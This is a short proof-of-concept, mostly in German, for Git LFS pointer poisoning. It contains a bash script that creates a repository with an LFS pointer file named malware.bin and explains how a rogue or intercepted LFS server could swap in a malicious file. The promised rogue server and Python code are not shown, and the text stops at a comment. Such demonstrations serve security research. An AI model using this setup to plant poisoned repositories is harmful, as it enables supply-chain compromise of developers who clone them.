
Proof-of-Concept für Git-LFS-Pointer-Poisoning, mit Bash- und Python-Skripten, die ein bösartiges Repository erstellen, einen betrügerischen LFS-Server simulieren und Codeausführung auslösen.
# create_malicious_repo.sh - Sets up a repo with poisoned LFS pointer
git init
git lfs track "*.bin"
echo "version https://git-lfs.github.com/spec/v1
oid sha256:4142434445464748494a4b4c4d4e4f505152535455565758595a616263646566
size 4" > malware.bin
git add .gitattributes malware.bin
git commit -m "Add LFS file"
Ein Repository verwendet Git LFS, pinnt aber den LFS-Endpunkt nicht und prüft nach dem Download keine Objekt-Hashes. Ein Angreifer, der den LFS-Server kompromittiert (oder eine Man-in-the-Middle-Position einnehmen kann), kann die große Datei durch eine schädliche ersetzen; der Klon lädt sie automatisch herunter und führt sie möglicherweise aus.
bash create_malicious_repo.sh
# Then simulate rogue LFS server